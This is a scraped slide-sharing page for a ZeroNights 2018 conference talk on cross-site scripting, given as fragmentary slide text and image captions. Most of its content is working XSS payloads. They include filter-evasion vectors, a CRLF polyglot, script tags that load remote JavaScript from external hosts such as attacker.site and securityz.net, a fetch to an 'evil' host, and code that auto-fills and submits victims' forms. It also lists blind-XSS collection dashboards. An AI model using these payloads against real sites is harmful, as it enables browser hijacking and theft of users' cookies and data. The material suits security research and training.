Downloaded 13 times
![¼script¾alert(¢XSS¢)¼/script¾
<IMG SRC=java%00script:alert("XSS")>
<IMG SRC="javtascript:alert('XSS');">
<BODY onload!#$%&()*~+-
_.,:;?@[/|]^`=alert("XSS")>
<IMG SRC="livescript:alert('XSS')">
<BR SIZE="&{alert('XSS')}">
exp/*<A STYLE='noxss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
<OBJECT TYPE="text/x-scriptlet"
DATA="http://attacker.site/xss.html"></OBJECT>
<object data="javascript:alert(XSS)">
#bugbountytip
Can still Flash? ActiveX? VBScript?](https://image.slidesharecdn.com/zn2018xss-190212064923/85/ZeroNights-2018-I-3-XSS-30-320.jpg)
![Regexp
document.cookie == document['cookie']
document['location']=javascript:alert()](https://image.slidesharecdn.com/zn2018xss-190212064923/85/ZeroNights-2018-I-3-XSS-53-320.jpg)
![Eval
Set.constructor`alertx281x29`()
Function`alertx281x29```
[]["filter"]["constructor"]("alert x281x29")``](https://image.slidesharecdn.com/zn2018xss-190212064923/85/ZeroNights-2018-I-3-XSS-57-320.jpg)
![document.querySelector(".name").value="Peter Winter"
document.getElementsByTagName("button")[0].click()
document.getElementsById("register")[0].submit()](https://image.slidesharecdn.com/zn2018xss-190212064923/85/ZeroNights-2018-I-3-XSS-61-320.jpg)
Uploaded byДмитрий Бумов
ZeroNights 2018 | I <"3 XSS
This document provides instructions for creating and executing cross-site scripting (XSS) payloads. It discusses various techniques for bypassing input validation, injecting scripts from external sources, and using the injected scripts to steal sensitive data or take control of users' browsers. The goal is to automate XSS attacks and enhance their impact through the use of additional exploits and a centralized dashboard.
![How Big Brands are Taking Your Traffic in Alberta [Data Inside].pptx](https://cdn.slidesharecdn.com/ss_thumbnails/howbigbrandsaretakingyourtrafficinalbertadatainside-260123180142-42d276f3-thumbnail.jpg?width=640&height=640&fit=bounds)
ZeroNights 2018 | I <"3 XSS
- 1. I <"3 XSS Securityresearcher and your mother
- 4. Step 1 Create XSSpayload
- 5. #bugbountytip Try to sendBlind XSS in feedback form…
- 6. Escaping? Close comment--> ‘>"> </style> </div></article> </script> "> <script src= https://securityz.net/1.js?> Close attributes Close tags One more time just in case Url to script source 83 symbols
- 7. Разбор вектора -- >‘>"></style></div></article></script> "><script src=https://xxxxxxxxx.net/1.js?> 83 symbols '"--></style></script> <scriptsrc=//xxxxxxxxx.net/1.js> 55 symbols==
- 8. Where is thescript running?
- 9. • <iframe> • <noembed> •<noscript> • <style> • <xmp> • <script> • <noframes> • <textarea> • <title> • <plaintext> • <template> • <frameset>
- 10. • <iframe> • <noembed> •<noscript> • <style> • <xmp> • <script> • <noframes> • <textarea> • <title> • <plaintext> • <template> • <frameset>
- 11.
- 12. <img> VS <svg> onErroronLoad + src
- 13. <img src onerror=alert()> <svgonload=alert()> vs
- 16.
- 17. • <a href="XXX">Homepage</a> •<iframe src="XXX"></iframe>
- 18.
- 19.
- 20.
- 21.
- 22.
- 23.
- 24.
- 25. Current protocol http://example.com =><a href=//test> => http://test https://example.com => <a href=//test> => https://test
- 26.
- 29.
- 30. ¼script¾alert(¢XSS¢)¼/script¾ <IMG SRC=java%00script:alert("XSS")> <IMG SRC="javtascript:alert('XSS');"> <BODYonload!#$%&()*~+- _.,:;?@[/|]^`=alert("XSS")> <IMG SRC="livescript:alert('XSS')"> <BR SIZE="&{alert('XSS')}"> exp/*<A STYLE='noxss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))'> <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"> <OBJECT TYPE="text/x-scriptlet" DATA="http://attacker.site/xss.html"></OBJECT> <object data="javascript:alert(XSS)"> #bugbountytip Can still Flash? ActiveX? VBScript?
- 31.
- 33. Polyglot by CRLF javascript:"/*'/*`/*--> </noscript></title></textarea></style> </template></noembed></script> <html"%0Aonmouseover=/*%26lt;svg/*/onload=alert()//>
- 34.
- 35.
- 36.
- 37. Step 2 Preparing ascript
- 38.
- 39. XHR var xhr =new XMLHttpRequest(); xhr.open... fetch(//evil)
- 40.
- 43.
- 44.
- 45.
- 46. HTML5 History API history.pushState(0,0, '/login');
- 47.
- 48.
- 49.
- 50.
- 51.
- 52.
- 53.
- 54.
- 55.
- 56.
- 57.
- 58.
- 59. U need eval? •document.body.innerHTML • location.href
- 60. • document.getElementById • document.getElementByName •document.getElementsByTagName • document.getElementsByClassName • document.querySelector
- 61.
- 62. • document.frames • document.anchors •document.images • document.links • document.forms
- 63.
- 64. https://github.com/mandatoryprogrammer/sonar.js A framework foridentifying and launching exploits against internal network hosts. Works via WebRTC IP enumeration combined with WebSockets and external resource fingerprinting.
- 65. https://github.com/niklasvh/html2canvas The script allowsyou to take "screenshots" of webpages or parts of it, directly on the users browser. The screenshot is based on the DOM and as such may not be 100% accurate to the real representation as it does not make an actual screenshot, but builds the screenshot based on the information available on the page.
- 66. Dashboard for XSS • https://github.com/mandatoryprogrammer/xsshunter • https://github.com/Netflix-Skunkworks/sleepy-puppy • https://github.com/psych0tr1a/elScripto • https://github.com/ssl/ezXSS • https://github.com/LewisArdern/bXSS
- 67.
- 68.